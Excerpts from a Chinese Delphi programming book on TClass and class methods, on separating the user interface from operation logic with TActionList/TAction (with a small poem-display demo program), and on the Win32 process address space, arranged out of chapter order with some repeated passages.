此外，TObjec还提供了一个Free方法，它不是虚方法，它是为了那些搞不清对象是否为空（nil）的情况下能安全释放对象而专门提供的。其实，搞不清对象是否为空，本身就有程序逻辑不清晰的问题。不过，任何人都不是完美的，都可能犯错，使用Free能避免偶然的错误也是件好事。然而，编写正确的程序不能一味依靠这样的解决方法，还是应该以保证程序的逻辑正确性为编程的第一目标！

有兴趣的朋友可以读一读System单元的原代码，其中，大量的代码是用汇编语言书写的。细心的朋友可以发现，TObject的构造函数Create和析构函数Destory竟然没有写任何代码，其实，在调试状态下通过Debug的CPU窗口，可清楚地反映出Create和Destory的汇编代码。因为，缔造DELPHI的大师门不想将过多复杂的东西提供给用户，他们希望用户在简单的概念上编写应用程序，将复杂的工作隐藏在系统的内部由他们承担。所以，在发布System.pas单元时特别将这两个函数的代码去掉，让用户认为TObject是万物之源，用户派生的类完全从虚无中开始，这本身并没有错。虽然，阅读DELPHI的这些最本质的代码需要少量的汇编语言知识，但阅读这样的代码，可以让我们更深刻认识DELPHI世界的起源和发展的基本规律。即使看不太懂，能起码了解一些基本东西，对我们编写DELPHI程序也是大有帮助。

第二节 TClass原子

在System.pas单元中，TClass是这样定义的：

TClass = class of TObject;

它的意思是说，TClass是TObject的类。因为TObject本身就是一个类，所以TClass就是所谓的类的类。

从概念上说，TClass是类的类型，即，类之类。但是，我们知道DELPHI的一个类，代表着一项VMT数据。因此，类之类可以认为是为VMT数据项定义的类型，其实，它就是一个指向VMT数据的指针类型！

在以前传统的C++语言中，是不能定义类的类型的。对象一旦编译就固定下来，类的结构信息已经转化为绝对的机器代码，在内存中将不存在完整的类信息。一些较高级的面向对象语言才可支持对类信息的动态访问和调用，但往往需要一套复杂的内部解释机制和较多的系统资源。而DELPHI的Object Pascal语言吸收了一些高级面向对象语言的优秀特征，又保留可将程序直接编译成机器代码的传统优点，比较完美地解决了高级功能与程序效率的问题。

正是由于DELPHI在应用程序中保留了完整的类信息，才能提供诸如as和is等在运行时刻转换和判别类的高级面向对象功能，而类的VMT数据在其中起了关键性的核心作用。有兴趣的朋友可以读一读System单元的AsClass和IsClass两个汇编过程，他们是as和is操作符的实现代码，以加深对类和VMT数据的理解。 有了类的类型，就可以将类作为变量来使用。可以将类的变量理解为一种特殊的对象，你可以象访问对象那样访问类变量的方法。例如：我们来看看下面的程序片段：

type

TSampleClass = class of TSampleObject;

TSampleObject = class( TObject )

public constructor Create;

destructor Destroy; override;

class function GetSampleObjectCount: Integer;

procedure GetObjectIndex: Integer;

end;

var

aSampleClass : TSampleClass;

aClass : TClass;

在这段代码中，我们定义了一个类TSampleObject及其相关的类类型TSampleClass，还包括两个类变量aSampleClass和aClass。此外，我们还为TSampleObject类定义了构造函数、析构函数、一个类方法GetSampleObjectCount和一个对象方法GetObjectIndex。

首先，我们来理解一下类变量aSampleClass和aClass的含义。

显然，你可以将TSampleObject和TObject当作常量值，并可将它们赋值给aClass变量，就好象将123常量值赋值给整数变量i一样。所以，类类型、类和类变量的关系就是类型、常量和变量的关系，只不过是在类的这个层次上而不是对象层次上的关系。当然，直接将TObject赋值给aSampleClass是不合法的，因为aSampleClass是TObject派生类TSampleObject的类变量，而TObject并不包含与TSampleClass类型兼容的所有定义。相反，将TSampleObject赋值给aClass变量却是合法的，因为TSampleObject是TObject的派生类，是和TClass类型兼容的。这与对象变量的赋值和类型匹配关系完全相似。

然后，我们再来看看什么是类方法。

所谓类方法，就是指在类的层次上调用的方法，如上面所定义的GetSampleObjectCount方法,它是用保留字class声明的方法。类方法是不同于在对象层次上调用的对象方法的，对象方法已经为我们所熟悉，而类方法总是在访问和控制所有类对象的共同特性和集中管理对象这一个层次上使用的。在TObject的定义中，我们可以发现大量的类方法，如ClassName、ClassInfo和NewInstance等等。其中，NewInstance还被定义为virtual的，即虚的类方法。这意味作你可以在派生的子类中重新编写NewInstance的实现方法，以便用特殊的方式构造该类的对象实例。

在类方法中你也可使用self这一标识符，不过其所代表的含义与对象方法中的self是不同的。类方法中的self表示的是自身的类，即指向VMT的指针，而对象方法中的self表示的是对象本身，即指向对象数据空间的指针。虽然，类方法只能在类层次上使用，但你仍可通过一个对象去调用类方法。例如，可以通过语句aObject.ClassName调用对象TObject的类方法ClassName，因为对象指针所指向的对象数据空间中的头4个字节又是指向类VMT的指针。相反，你不可能在类层次上调用对象方法，象TObject.Free的语句一定是非法的。 值得注意的是，构造函数是类方法，而析构函数是对象方法！

什么？构造函数是类方法，析构函数是对象方法！有没有搞错？

你看看，当你创建对象时分明使用的是类似于下面的语句：

aObject := TObject.Create;

分明是调用类TObject的Create方法。而删除对象时却用的下面的语句：

aObject.Destroy;

即使使用Free方法释放对象，也是间接调用了对象的Destroy方法。

原因很简单，在构造对象之前，对象还不存在，只存在类，创建对象只能用类方法。相反，删除对象一定是删除已经存在的对象，是对象被释放，而不是类被释放。

最后，顺便讨论一下虚构造函数的问题。

在传统的C++语言中，可以实现虚析构函数，但实现虚构造函数却是一个难题。因为，在传统的C++语言中，没有类的类型。全局对象的实例是在编译时就存在于全局数据空间中，函数的局部对象也是编译时就在堆栈空间中映射的实例，即使是动态创建的对象，也是用new操作符按固定的类结构在堆空间中分配的实例，而构造函数只是一个对已产生的对象实例进行初始化的对象方法而已。传统C++语言没有真正的类方法，即使可以定义所谓静态的基于类的方法，其最终也被实现为一种特殊的全局函数，更不用说虚拟的类方法，虚方法只能针对具体的对象实例有效。因此，传统的C++语言认为，在具体的对象实例产生之前，却要根据即将产生的对象构造对象本身，这是不可能的。的确不可能，因为这会在逻辑上产生自相矛盾的悖论！

然而，正是由于在DELPHI中有动态的类的类型信息，有真正虚拟的类方法，以及构造函数是基于类实现的等等这些关键概念，才可实现虚拟的构造函数。对象是由类产生的，对象就好象成长中的婴儿，而类就是它的母亲，婴儿自己的确不知道自己将来会成为什么样的人，可是母亲们却用各自的教育方法培养出不同的人，道理是相通的。

正是在TComponent类的定义中，构造函数Create被定义为虚拟的，才能使不同类型的控件实现各自的构造方法。这就是TClass创造的类之类概念的伟大，也是DELPHI的伟大。


第十六章 操作界面与操作逻辑

第十六章 操作界面与操作逻辑

我们在前面的第八章曾经讨论过，用户界面与商业逻辑分离的好处。这样的分离可以让软件体系结构更加合理，结构易于理解，从而增强软件的灵活性和可维护性。 正如我谈到过，我们讨论的目的是为了寻找将软件结构从混沌归于有序的实用方法，这是编写本书的主要目的之一。有序的东西易于理解，易于理解就便于掌握，掌握之后你将会发现其背后的哲理是那样的简单，从而升华到更高的境界去感受良好软件结构的协调美。 本章的话题将重点讨论如何将客户端的程序有序化，希望我们的讨论对所有的软件同行和朋友都有所帮助。 第一节 分离操作界面与操作逻辑 怎样设计友好的软件操作界面，是人机工程学研究的一个重要课题。好用的软件都有清秀可爱的面容，不但布局匀称合理，对你的操作意图也是善解人意，并且处理大方得体，就连对你的回答也体贴入微。如果，你编写的软件象这样将关键字重复的错误告诉你的用户：“亲爱的，你以前已经输入了编号为991028的出库单，不可重复输入。是否想查看以前的出库单呢？”，你的软件一定会销量大增。可能当年IBM的OS2就是因为说了很多用户看不懂的废话，才被用户遗弃，失去民心，而被Bill Gates一统天下。 我们今天不打算讨论怎样打扮软件的容颜，而要谈谈在漂亮的界面后面，应该如何更好地组织软件结构，大大方方地处理用户的操作命令。 假如，你已经规划好软件初步的操作模式，用带图标的菜单作为用户发号司令的工具，并在MenuItem的OnClick事件中编写完成业务处理的过程语句。一切都不错，而商业的逻辑处理也是放到服务器端的RemoteDataMoudle中处理的，经典的三层体系结构。可是你的老板不喜欢菜单，他对按钮情有独钟，于是你需要将Menu换成Button，然后将操作实现代码移到Button的OnClick事件过程中，或者将Button的OnClick事件指向原来的MenuItemClick事件处理过程。软件提交用户试用之后，用户强烈要求将软件修改为Microsoft Word 2000那样的界面，既有菜单又有按钮，而且还能提供键盘的快捷键输入（因为他们的老总习惯了原来DOS下那套老程序的键盘输入方式）。于是，你又不得不修改软件的界面控件，并再次将操作处理代码调整，以便每种命令输入方式都能被响应。最后，历经千辛万苦终于能完成整个软件界面的修改工作。 由此可见，不同的人有不同的爱好和需求，他们各自都有操作软件的习惯。但是他们使用软件的目的是相同的，就是，向你的软件发出指定的操作指令，使用该操作所代表的软件功能！ 在种种不同的用户的需求之中，搞清所有用户的最终目的之后，我们应该仔细地想一想，不同的用户为了达到相同目的，使用了不同的手段。哦！原来目的和手段是两回事，只不过每个人用不同的手段达到相同的目的。 因此，我们应该将操作界面与操作逻辑分离，应该首先分清手段和目的，然后将手段与目的联系起来。这样，操作界面的更改将不会影响到操作逻辑，手段是手段，目的是目的。为了达到目的，可以不择手段，就是这个道理！ 说道这里，也许有人会说：这个道理谁都懂。那么，如果在我们开发软件的过程中，多运用这些浅显的道理，就不难设计出简单而又实用的软件结构。 操作界面与操作逻辑的分离可以为我们带来哪些好处呢？ 1． 易于理解 你可以在编写业务操作代码时，不关心软件的界面操作模式，而在美化你的软件时，只考虑界面的美学问题。外表是外表，内心是内心，只有你知道，外表美观的界面连接着精巧内秀的操作代码，表里如一。你的朋友们既可欣赏到漂亮的软件外表，也容易读懂你的内心。 2． 易于维护 不管将来流行什么软件界面，是时新HomePage式样还是OutLook的经典面版。你可以只修改与界面有关的部分，就可满足要求。也可将你的软件彻底改头换面，以崭新的面容出现。甚至，可表演川剧名家传内不传外传男不传女的独门绝技-变脸。但软件还是软件，软件的内在功能逻辑并未改变。不过，由于满足了用户喜新厌旧，追逐流行时尚的习惯，将使软件公司的老板们的腰包越来越鼓。 3． 可扩充性强 人机工程学不断取得的新突破，将为软件使用者提供更多的命令输入方式。现在，语音识别技术已逐渐商用化。你已经可以利用IBM ViaVoice提供的语音识别支持模块，开发能识别语音命令的控件。将这样的控件加入你的软件中，并与你以前编写的操作逻辑关联，你的软件就象长了耳朵，有了灵气，可以倾听你的述说。我也相信，总有一天可编写一种可以看懂你的表情的控件，那么，软件将可以根据你的情绪对你抚以不同冷暖的关怀。但软件的灵魂还是原来的操作逻辑代码！ 4． 适合大规模软件开发 大规模软件开发讲求分工协作，各尽其才。如果你是软件公司的老板，那么，在系统分析设计人员完成软件设计之后，你可以找一批时装设计师为你的软件设计漂亮性感的界面，请精于编码的程序员编写操作逻辑。而你可以轻松地管理和控制各道工序的质量，而且责任分明。 尽管天涯海角的吹了一通，但我们还得回到我们主题。操作界面与操作逻辑的分离，到底要遵循哪些方法和原则呢？ 首先，你应当归纳整理当前模块要向用户提供的功能，划分出明确的操作命令集。也就是说，设计可提供给用户的命令，这有点象老式命令行程序的可用命令清单列表。记住，这些命令集体现的是用户执行操作的目的。 然后，在根据命令集中的每一命令规划操作逻辑代码，按照编写程序的一般原则编制操作逻辑代码。有关编写程序的一般原则，可参阅《初恋DELPHI》一书。 最后，要提醒一点的就是，操作命令有时是受程序状态控制的。有的程序员为了实现在某中状态下禁止用户发出指定的操作命令，想尽办法控制菜单、按钮等命令控件的属性，封杀和打压所有可执行命令的控件。但是，你想禁止的是命令，而不是控件！ 下面我们将会讨论在分离操作界面和操作逻辑方面，DELPHI为我们提供的很有价值的东西，即TActionList和TAction。 第二节 使用TActionList和TAction “Action”一词的含义是行为、行动或动作，TAction就是抽象了用户想要通过软件界面表现的行为、开展的行动或执行的动作，而TActionList就描述了动作的命令清单。你可以将一个TActionList元件加入到你的Form、Frame或DataModule中，双击此元件可定义需要的TAction对象。 缔造DELPHI大厦的设计师和工程师们，为绝大多数命令控件（如TButton，TMenuItem等等）设计了Action属性，并且常常碰巧出现在Object Inspecter窗口属性页面的第一项上，由此可见他们的用心良苦。但不管怎样，他们为我们提供了一个简单的方法，将命令控件的Action属性与TActionList元件中定义的TAction对象关联。 由于，在TAction对象的OnExecute事件中编写的操作逻辑代码可自动被关联的命令控件调用，因此，更换命令控件的类型，不用修改或调整操作逻辑代码。这样就可将操作界面与操作逻辑分开。 如果在某些状态下你要禁止用户执行某种操作，可设置相关TAction对象的Enabled属性为FALSE，则相关的命令控件将通通被冷冻，该变白脸的变脸白，该变灰脸的变灰脸，而不管他是生旦净末丑。 再次感谢缔造DELPHI的大师们，是他们在台后为我们做了一切，而且还将他们的九阴真经放到Source.pas单元中。 既然有大师们的九阴真经，我们就应该拿来修炼，增强我们的内功。 首先，在ActnList单元中，TActionList是这样声明的： TActionList = class(TCustomActionList) published property Images; property OnChange; property OnExecute; property OnUpdate; end; TActionList只发表了TCustomActionList的一些属性和事件。其实，TActionList就是用来装TAction的容器，并提供了管理TAction的方法。有关TActionList的详细用法，我们将在随后开发的TActionManager控件中讨论。 再来看看TAction的声明的： TAction = class(TCustomAction) published property Caption; property Checked; property Enabled; property HelpContext; property Hint; property ImageIndex; property ShortCut; property Visible; property OnExecute; property OnHint; property OnUpdate; end; TAction是从TCustomAction类继承的，与前面一样，只不过将父类的一些特征发表。我不想逐一解读TAction的各个类层次的原代码，相信读过《初恋DELPHI》一书的朋友都能够解读这些代码。我只想讨论TAction发表给我们的这些特性，能为我们提供什么功能。由于还有一些特性是在TAction的父辈类中发表的，在讨论时也将一起谈到，不过一些不重要的特性就不再废话了。 Caption属性：填写此属性，你可以用简短的标题向用户说明命令操作的含义。此属性将自动更新相关命令控件的Caption属性，所以按钮和菜单的Caption属性要在此输入。 Category属性：操作命令的类别，主要是为了方便你分类管理你的操作命令集。此属性是在TAction的爷爷辈TContainedAction中发表的，在我们随后开发的TActionManager控件中，你将看到如何此属性管理操作命令。 Enabled属性：控制命令操作是否可执行，可自动控制关联命令控件是否允许执行。封杀命令控件应该从这里下手。 ImageIndex属性：表示操作命令的图标索引，与TActionList的Images联系。有图标的命令控件可以享受到他的恩惠。 ShortCut属性：用键盘发出操作命令的快捷键，为喜好键盘操作的人们带来的福音。 Visible属性：控制Enabled可以让命令控件变灰，控制此属性可以让命令控件消失在用户面前。注意，虽然命令控件消失，但用户仍可通过快捷键发出操作命令，而Enabled才可真正封杀命令。 OnExecute事件：可以在此事件中编写操作逻辑代码，用户触发相关的命令控件时，将自动调用此事件的操作逻辑代码。 其他的特性就自己查看DELPHI的联机帮助吧！ 初步了解TActionList和TAction之后，我们将开始实践。下面的PRETTYPOEM程序演示了TActionList和TAction的基本用法，很简单，如果你不想浪费时间可直接跳到后面的MULTIFACE程序，看看如何表演川剧的绝活儿-变脸。 你可以在随书所附的光盘中找到此程序的原代码。 文件PRETTYPOEM.DPR program PRETTYPOEM; uses Forms, Main in 'Main.pas' {fMain}; {$R *.RES} begin Application.Initialize; Application.CreateForm(TfMain, fMain); Application.Run; end. 文件Main.pas unit Main; interface uses Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs, Menus, ActnList, ComCtrls, ToolWin, StdCtrls, ImgList; type TfMain = class(TForm) MainMenu: TMainMenu; ActionList: TActionList; actGuCheng: TAction; actXiMuRong: TAction; actLiQingZhao: TAction; actSuShi: TAction; N1: TMenuItem; N2: TMenuItem; N3: TMenuItem; N4: TMenuItem; N5: TMenuItem; N6: TMenuItem; ToolBar1: TToolBar; ToolButton1: TToolButton; ToolButton2: TToolButton; ToolButton3: TToolButton; ToolButton4: TToolButton; Button1: TButton; Button2: TButton; Button3: TButton; Button4: TButton; cbDisableLiQingZhao: TCheckBox; actDisableLiQingZhao: TAction; actHideLiQingZhao: TAction; cbHideLiQingZhao: TCheckBox; ImageList: TImageList; labPoem: TLabel; labShadow: TLabel; procedure actGuChengExecute(Sender: TObject); procedure actXiMuRongExecute(Sender: TObject); procedure actDisableLiQingZhaoExecute(Sender: TObject); procedure actHideLiQingZhaoExecute(Sender: TObject); procedure actSuShiExecute(Sender: TObject); procedure actLiQingZhaoExecute(Sender: TObject); private { Private declarations } procedure RecitePoem(Poem:string); public { Public declarations } end; var fMain: TfMain; implementation {$R *.DFM} procedure TfMain.RecitePoem(Poem: string); begin labPoem.Caption:=Poem; labShadow.Caption:=Poem; end; procedure TfMain.actGuChengExecute(Sender: TObject); begin RecitePoem('黑夜给我黑色的眼睛 我却用她寻找光明'); end; procedure TfMain.actXiMuRongExecute(Sender: TObject); begin RecitePoem('溪水急着要流向大海 而浪潮却渴望重归土地'); end; procedure TfMain.actSuShiExecute(Sender: TObject); begin RecitePoem('人有悲欢离合 月有阴晴圆缺'); end; procedure TfMain.actLiQingZhaoExecute(Sender: TObject); begin RecitePoem('生当做人杰 死亦为鬼雄'); end; procedure TfMain.actDisableLiQingZhaoExecute(Sender: TObject); begin actLiQingZhao.Enabled:=not cbDisableLiQingZhao.Checked; end; procedure TfMain.actHideLiQingZhaoExecute(Sender: TObject); begin actLiQingZhao.Visible:=not cbHideLiQingZhao.Checked; end; end. 文件Main.dfm object fMain: TfMain Left = 192 Top = 107 Width = 442 Height = 195 BorderIcons = [biSystemMenu, biMinimize] Caption = '谈古论今' Color = clBtnFace Font.Charset = GB2312_CHARSET Font.Color = clWindowText Font.Height = -12 Font.Name = '宋体' Font.Style = [] Menu = MainMenu OldCreateOrder = False PixelsPerInch = 96 TextHeight = 12 object labShadow: TLabel Left = 17 Top = 41 Width = 380 Height = 20 Caption = '古今诗词名句欣赏，请选择你喜爱的诗人。' Font.Charset = GB2312_CHARSET Font.Color = clBlack Font.Height = -20 Font.Name = '隶书' Font.Style = [] ParentFont = False Transparent = True end object labPoem: TLabel Left = 16 Top = 40 Width = 380 Height = 20 Caption = '古今诗词名句欣赏，请选择你喜爱的诗人。' Font.Charset = GB2312_CHARSET Font.Color = clBlue Font.Height = -20 Font.Name = '隶书' Font.Style = [] ParentFont = False Transparent = True end object ToolBar1: TToolBar Left = 0 Top = 0 Width = 434 Height = 26 AutoSize = True ButtonWidth = 63 Caption = 'ToolBar' EdgeBorders = [ebTop, ebBottom] Flat = True Images = ImageList List = True ShowCaptions = True TabOrder = 0 object ToolButton1: TToolButton Left = 0 Top = 0 Action = actGuCheng end object ToolButton2: TToolButton Left = 63 Top = 0 Action = actXiMuRong end object ToolButton3: TToolButton Left = 126 Top = 0 Action = actSuShi end object ToolButton4: TToolButton Left = 189 Top = 0 Action = actLiQingZhao end end object Button1: TButton Left = 12 Top = 80 Width = 75 Height = 25 Action = actGuCheng TabOrder = 1 end object Button2: TButton Left = 116 Top = 80 Width = 75 Height = 25 Action = actXiMuRong TabOrder = 2 end object Button3: TButton Left = 12 Top = 112 Width = 75 Height = 25 Action = actSuShi TabOrder = 3 end object Button4: TButton Left = 116 Top = 112 Width = 75 Height = 25 Action = actLiQingZhao TabOrder = 4 end object cbDisableLiQingZhao: TCheckBox Left = 232 Top = 116 Width = 81 Height = 17 Action = actDisableLiQingZhao TabOrder = 5 end object cbHideLiQingZhao: TCheckBox Left = 328 Top = 116 Width = 81 Height = 17 Action = actHideLiQingZhao TabOrder = 6 end object MainMenu: TMainMenu Images = ImageList Left = 332 Top = 4 object N1: TMenuItem Caption = '现代情怀' object N2: TMenuItem Action = actGuCheng end object N3: TMenuItem Action = actXiMuRong end end object N4: TMenuItem Caption = '古典风范' object N5: TMenuItem Action = actSuShi end object N6: TMenuItem Action = actLiQingZhao end end end object ActionList: TActionList Images = ImageList Left = 360 Top = 4 object actGuCheng: TAction Category = '现代情怀' Caption = '顾城' ImageIndex = 0 ShortCut = 16455 OnExecute = actGuChengExecute end object actXiMuRong: TAction Category = '现代情怀' Caption = '席慕容' ImageIndex = 1 ShortCut = 16472 OnExecute = actXiMuRongExecute end object actSuShi: TAction Category = '古典风范' Caption = '苏轼' ImageIndex = 2 ShortCut = 16467 OnExecute = actSuShiExecute end object actLiQingZhao: TAction Category = '古典风范' Caption = '李清照' ImageIndex = 3 ShortCut = 16460 OnExecute = actLiQingZhaoExecute end object actDisableLiQingZhao: TAction Category = '控制' Caption = '禁止李清照' OnExecute = actDisableLiQingZhaoExecute end object actHideLiQingZhao: TAction Category = '控制' Caption = '隐藏李清照' OnExecute = actHideLiQingZhaoExecute end end object ImageList: TImageList Left = 388 Top = 4 end end 此程序运行之后，你可以通过菜单、工具条、按钮和快捷键调出你喜欢的诗句。Action的标题和图标都自动反映在菜单、工具条和按钮上，细心的朋友会发现，菜单上还同时将我们定义的快捷键显示出来，可见VCL的开发者所做的工作比我们想象的还要多。至于菜单名后的热键字符，是由MainMenu的AutoHotKeys属性引起的。 你可以用选择框禁止或隐藏李清照的名字，不过只隐藏李清照的名字时，仍然可通过Ctrl+L调出她的诗句。 休息一下，在我们开始讨论运行时更改软件界面的话题之前，感受以下诗人们的情怀。诗人们的诗句是美丽的，但诗句中隐含的哲理才是他们内心所追求的境界。编写程序也是如此。 此程序运行之后，你可以通过菜单、工具条、按钮和快捷键调出你喜欢的诗句。Action的标题和图标都自动反映在菜单、工具条和按钮上，细心的朋友会发现，菜单上还同时将我们定义的快捷键显示出来，可见VCL的开发者所做的工作比我们想象的还要多。至于菜单名后的热键字符，是由MainMenu的AutoHotKeys属性引起的。 你可以用选择框禁止或隐藏李清照的名字，不过只隐藏李清照的名字时，仍然可通过Ctrl+L调出她的诗句。 休息一下，在我们开始讨论运行时更改软件界面的话题之前，感受以下诗人们的情怀。诗人们的诗句是美丽的，但诗句中隐含的哲理才是他们内心所追求的境界。编写程序也是如此。


第三章 WIN32的时空观

第三章 WIN32的时空观

我的老父亲看着地上玩玩具的小孙子，然后对我说：“这孩子和小时的你一样，喜欢把东西拆开，看过究竟才罢手”。想想我小时侯，经常将玩具车、小闹钟、音乐盒，等等，拆得一塌糊涂，常常被母亲训斥。

我第一次理解计算机的基本原理，与我拆过的音乐盒有关。那是在念高中时的一本漫画书上，一位白胡子老头在讲解智能机的理论，一位留八字胡的叔叔在说计算机和音乐盒。他们说，计算机的中央处理器就是音乐盒中用来发音的那一排音乐簧片，计算机程序就是音乐盒中那个小圆筒上密布的凸点，小圆筒的转动相当于中央处理器的指令指针的自然移动，而小圆筒上代表音乐的凸点控制音乐簧片振动发音相当于中央处理器执行程序的指令。音乐盒发出美妙的旋律，是按工匠早已刻在小圆筒上的音乐谱演奏的，计算机完成复杂的处理，是根据程序员预先编制好的程序实现的。上大学之后，我才知道那个白胡子老头就是科学巨匠图灵，他的有限自动机理论推动了整个信息革命的发展，而那个留八字胡的叔叔就是计算机之父冯.诺依曼，冯氏计算机体系结构至今仍然是计算机的主要体系机构。音乐盒没白拆，母亲可以宽心。

有深入浅出的理解，才能有高深而又简洁的创造。 这一章我们将讨论Windows的32位操作系统中与我们编程有关的基本概念，建立WIN32中正确的时空观。希望阅读完本章之后，我们能更加深入地理解程序、进程和线程，理解执行文件、动态连接库和运行包的原理，看清全局数据、局部数据和参数在内存中的真相。

第一节 理解进程

由于历史的原因，Windows是起源于DOS。而在DOS时代，我们一直只有程序的概念，而没有进程的概念。那时侯，只有操作系统的正规军，如UNIX和VMS等等，才有进程的概念，而且多进程就意味着小型机、终端和多用户，也意味着金钱。我绝大多数的时间只能使用相对廉价的微机和DOS系统，只是在学操作系统这门课程时才开始接触进程和小型机。

在Windows 3.X之后，Microsoft才在图形界面的操作系统站住脚跟，而我也是在这时开始正式面对多任务和进程的概念。以前在DOS下，同一时间只能执行一个程序，而在Windows下同一时间可执行多个程序，这就是多任务。在DOS下运行一个程序的同时，不能执行相同的程序，而在Windows下，同一程序可以同时有两个以上的副本在运行，每一个运行的程序副本就是一个进程。更确切地说，任何程序的一次运行就产生一个任务，而每个任务就是一个进程。

当将程序和进程放到一起理解时，可以认为程序一词说的是静态的东西，一个典型的程序是由一个EXE文件或一个EXE文件加上若干DLL文件组成的静态代码和数据。而进程是程序的一次运行，是在内存中动态运行的代码和动态变化的数据。当静态的程序要求运行时，操作系统将为本次运行提供一定的内存空间，把静态的程序代码和数据调入这些内存空间，将程序的代码和数据进行重定位映射之后，就在该空间内执行程序，这样就产生了动态的进程。

同一个程序同时运行着的两个副本，意味着在系统内存中有两个进程空间，只不过它们的程序功能是一样的，但处于不同的动态变化的状态之中。

从进程运行的时间上来说，各进程是同时执行的，专业术语称为并行执行或并发执行。但这主要是操作系统给我们的表面感觉，实际上各进程是分时执行的，也就是各进程轮流占用CPU的时间来执行进程的程序指令。对于一个CPU来说，同一时间只有一个进程的指令在执行。操作系统是调度进程运行的幕后操纵者，它不断保存和切换各进程在CPU中执行的当前状态，使得每一个被调度的进程都认为自己是完整和连续地运行着。由于进程分时调度的速度非常快，所以给我们的感觉就是进程都是同时运行的。其实，真正意义上的同时运行只有在多CPU的硬件环境中才有。稍后在讲述线程一节时，我们将发现，真正推动进程运转的是线程，进程更重要的是提供了进程空间。

从进程占据的空间上来说，各进程空间是相对独立的，每一个进程在自己独立的空间中运行。一个程序既包括代码空间又包括数据空间，代码和数据都要占据进程空间。Windows为每一进程所需的数据空间分配实际的内存，而对代码空间一般都采用共享手段，将一个程序的一份代码映射给该程序的多个进程。这意味着，如果一个程序有100K的代码并需要100K的数据空间，也就是总共需要200K的进程空间，则第一次运行程序时操作系统将分配200K的进程空间，而运行程序的第二个进程时，操作系统只分配100K的数据空间，而代码空间则共享前一个进程的空间。

上面所说的是Windows操作系统中进程的基本时空观，其实Windows的16位和32位操作系统在进程的时空观上有很大的差异。

从时间上来说，16位的Windows操作系统，如Windows 3.x等，进程管理是非常简单的，它实际上只是一个多任务管理操作系统。而且，操作系统对任务的调度是被动的，如果一个任务不自己放弃对消息的处理，操作系统就必须等待。由于16位Windows系统在管理进程方面的缺陷，一个进程运行时，完全占有着CPU的资源。在那个年代，为了16位Windows可以有机会调度别的任务，微软公司大力赞扬开发Windows应用程序的开发者是心胸宽阔的程序员，以使得他们乐意多编写几行恩赐给操作系统的代码。相反，WIN32的操作系统，如Windows 95和NT等，才是具备了真正的多进程和多任务操作系统的能力。WIN32中的进程完全由操作系统调度，一旦进程运行的时间片结束，不管进程是否还在处理数据，操作系统将主动切换到下一进程。严格地说，16位的Windows操作系统不能算是完整的操作系统，而32位的WIN32操作系统才是真正意义上的操作系统。当然，微软公司不会说WIN32弥补了16位Windows的缺陷，而是宣称WIN32实现了一种称为“抢占式多任务”的先进技术，这是商业手段。

从空间上看，16位的Windows操作系统中的进程空间虽然相对独立，但进程之间可已很容易地互相访问对方的数据空间。因为，这些进程实际是在相同的物理空间中的不同的数据段而已，而且不当的地址操作很容易造成错误的空间读写，并使操作系统崩溃。然而，在WIN32操作系统中，各进程空间完全是独立的。WIN32为每一个进程提供一个可达4G的虚拟的，并且是连续的地址空间。所谓连续的地址空间，是指每一个进程都拥有从$00000000到$FFFFFFFF的地址空间，而不是向16位Windows的分段式空间。在WIN32中，你完全不必担心自己的读写操作会无意地影响到其他进程空间中的数据，也不用担心别的进程会来骚扰你的工作。同时，WIN32为你的进程提供的连续的4G虚拟空间，是操作系统在硬件的支持下将物理内存映射给你的，你虽然拥有如此广阔的虚拟空间，但系统决不会浪费一个字节的物理内存。

第二节 进程空间

在我们用DELPHI编写WIN32的应用程序时，很少去关心进程在运行时的内部世界。因为WIN32为我们的进程提供了4G的连续虚拟进程空间，可能目前世界上最庞大的应用程序也只用到了其中的部分空间。似乎进程空间是无限的，但4G的进程空间是虚拟的，而你机器的实际内存可能与此相差甚远。虽然，进程拥有如此广阔的空间，但有些复杂算法的程序还是会因为堆栈溢出而无法运行，特别是含有大量递归算法的程序。

因此，深入地认识和了解这4G的进程空间的结构，以及它与物理内存的关系等等，将有助于我们更清楚地认识WIN32的时空世界，从而可在实际的开发工作中运用正确的世界观和方法论解决各种难题。

下面，我们将通过简单的实验，来了解WIN32的进程空间的内部世界。这可能需要一些对CUP寄存器和汇编语言的知识，但我尽量用简单的语言来说明。

当启动DELPHI时，将自动产生一个Project1的项目，我们就拿它开刀。在Project1.dpr原程序的任意位置设一断点，比如，就在begin一句处设一断点。然后运行程序，当程序运行到断点时会自动停下来。这时，我们就可以打开调试工具中的CPU窗口来观察进程空间的内部结构了。 当前的指令指针寄存器EIP是停在$0043E4B8，从程序指令所在地址的最高两位16进制数都是零，可以看出当前的程序处在4G进程空间相当底端的地址位置，其占据$00000000到$FFFFFFFF的相当少的地址空间。

在CPU窗口中的指令框中，你可以向上查看进程空间中的内容。当查看小于$00400000的空间内容时，你会发现小于$00400000的内容出现一串串的问号“????”，那是因为该地址空间还未映射到实际物理空间的缘故。如果在这时，你查看一下全局变量HInstance的16进制值就会发现它也是$00400000。虽然HInstance反映的是进程实例的句柄，其实，它就是程序被加载到内存中的起始地址值，在16位Windows中也是如此。因此，我们可以认为进程的程序是从$00400000开始加载的，也就是从4G虚拟空间中的4M以后的空间开始是程序加载的空间。

从$00400000往后，到$0044D000之前，主要是程序代码和全局数据的地址空间。在CPU窗口中的堆栈框中，可以查看到当前堆栈的地址。同样，你会发现当前堆栈的地址空间是从$0067B000到$00680000的，长度为$5000。其实，进程最小的堆栈空间大小就是$5000，它是根据编译DELPHI程序时在Project中Linker页中设置的Min stack size值，加上$1000而得到的。堆栈是由高端地址向底端增长的，当程序运行的堆栈不够时，系统将自动向地端地址方向增加堆栈空间的大小，这一过程将把更多的实际内存映射到进程空间。可在编译DELPHI程序时，通过设置Project中Linker页中Max stack size的值，控制可增加的最大堆栈空间。特别是在含有深层次的子程序调用关系或运用递归算法的程序中，一定要合理地设置Max stack size的值。因为，调用子程序是需要耗用堆栈空间，而堆栈耗尽之后，系统就会抛出“Stack overflow”的错误。

似乎，从堆栈空间之后的进程空间就应该是自由的空间了吧。其实不然，WIN32的有关资料说，$80000000之后的2G空间是系统使用的空间。看来，进程能够真正拥有的只有2G空间。其实，进程能真正拥有的空间连2G都不够，因为从$00000000到$00400000的这4M空间也是禁区。

